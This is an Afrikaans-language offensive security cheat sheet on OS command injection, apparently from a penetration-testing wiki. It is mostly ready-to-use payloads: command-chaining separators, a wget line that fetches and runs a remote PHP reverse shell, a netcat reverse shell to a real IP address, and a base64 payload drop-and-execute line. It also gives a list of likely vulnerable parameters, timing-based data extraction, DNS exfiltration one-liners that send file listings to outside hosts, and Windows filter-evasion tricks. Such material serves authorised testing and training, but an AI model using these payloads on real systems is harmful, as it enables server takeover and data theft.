# Command Injection

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## Wat is opdraginjektering?

'n **opdraginjektering** laat die uitvoering van arbitrêre bedryfstelselsopdragte deur 'n aanvaller op die bediener wat 'n toepassing huisves. As gevolg hiervan kan die toepassing en al sy data volledig gecompromitteer word. Die uitvoering van hierdie opdragte stel die aanvaller gewoonlik in staat om ongeoorloofde toegang of beheer oor die toepassing se omgewing en onderliggende stelsel te verkry.

### Konteks

Afhangende van **waar jou invoer ingesluit word**, mag jy die **geciteerde konteks beëindig** (met `"` of `'`) voordat die opdragte uitgevoer word.

## Opdraginjektering/Uitvoering
```bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
### **Beperkings** Bypasses

As jy probeer om **arbitraire opdragte binne 'n linux masjien** uit te voer, sal jy belangstel om oor hierdie **Bypasses** te lees:

{{#ref}}
../linux-hardening/bypass-bash-restrictions/
{{#endref}}

### **Voorbeelde**
```
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
```
### Parameters

Hier is die top 25 parameters wat kwesbaar kan wees vir kode-inspuiting en soortgelyke RCE kwesbaarhede (van [link](https://twitter.com/trbughunters/status/1283133356922884096)):
```
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
```
### Tydgebaseerde data-uitvoer

Data onttrek: karakter vir karakter
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s
```
### DNS gebaseerde data eksfiltrasie

Gebaseer op die hulpmiddel van `https://github.com/HoLyVieR/dnsbin` ook gehos op dnsbin.zhack.ca
```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```

```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
Aanlyn gereedskap om DNS-gebaseerde data-uitvloeiing te kontroleer:

- dnsbin.zhack.ca
- pingb.in

### Filtrering omseiling

#### Windows
```
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
```
#### Linux

{{#ref}}
../linux-hardening/bypass-bash-restrictions/
{{#endref}}

## Brute-Force Opsporing Lys

{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
{{#endref}}

## Verwysings

- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)

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